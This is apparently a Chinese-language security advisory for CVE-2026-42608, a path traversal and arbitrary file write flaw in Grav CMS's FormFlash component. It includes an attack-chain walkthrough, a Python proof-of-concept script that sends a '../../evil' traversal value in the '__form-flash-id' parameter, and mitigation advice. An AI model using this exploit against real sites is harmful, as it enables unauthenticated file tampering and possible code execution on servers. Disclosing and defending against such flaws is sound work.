IPBUF安全漏洞报告
English
CVE-2026-42608 CVSS 9.1 严重

CVE-2026-42608 Grav CMS路径遍历漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42608
漏洞类型
路径遍历、任意文件写入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

路径遍历Grav CMS任意文件写入CVE-2026-42608无需认证RCE

漏洞概述

Grav CMS 2.0.0-beta.2 之前版本存在路径遍历漏洞。未经认证的攻击者可利用 FormFlash 组件中的 `__form-flash-id` 参数缺陷,遍历文件系统创建任意目录并写入恶意 `index.yaml` 文件。该漏洞可导致应用行为被篡改、数据完整性受损及服务中断。

技术细节

该漏洞源于 Grav 核心组件 FormFlash 在处理用户输入时缺乏充分的路径校验。攻击者通过 POST 请求提交恶意构造的 `__form-flash-id` 参数(包含 `../` 等遍历序列),可绕过目录限制。系统随后会根据该参数在服务器文件系统上创建目录,并写入包含攻击者控制数据的 `index.yaml` 文件。由于 YAML 文件常用于配置或数据存储,写入恶意内容可能导致远程代码执行或严重的数据篡改。此漏洞利用条件极低,无需认证和用户交互,对生产环境构成极高威胁,可能导致服务完全中断。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标运行的是 Grav CMS 版本低于 2.0.0-beta.2。
STEP 2
2. 构造恶意请求
攻击者构造一个包含恶意 `__form-flash-id` 参数的 POST 请求,该参数包含路径遍历字符(如 `../`),旨在指向 Web 根目录之外的敏感位置。
STEP 3
3. 触发漏洞
将恶意请求发送到服务器。FormFlash 组件处理该参数时未进行过滤,从而接受并解析了恶意路径。
STEP 4
4. 写入恶意文件
服务器在攻击者指定的路径下创建目录,并写入包含攻击者控制数据的 `index.yaml` 文件。
STEP 5
5. 达成攻击效果
利用写入的 YAML 文件篡改应用配置或执行恶意代码,导致数据泄露、完整性破坏或服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # Target endpoint that processes form flash data url = f"{target_url}/form" # Malicious payload using path traversal to write outside the intended directory # This payload attempts to create a directory 'evil' in the parent directory traversal_payload = "../../evil" # The data to be written into index.yaml malicious_data = "attacker_controlled: true" payload = { "__form-flash-id": traversal_payload, "data": malicious_data } try: response = requests.post(url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully. Check the filesystem.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit(target)

影响范围

Grav < 2.0.0-beta.2

防御指南

临时缓解措施
如果无法立即升级,建议配置 Web 服务器(如 Nginx 或 Apache)严格限制对表单处理接口的访问,或者通过 WAF 规则拦截包含 `../` 或 `%2e%2e/` 等路径遍历特征的请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表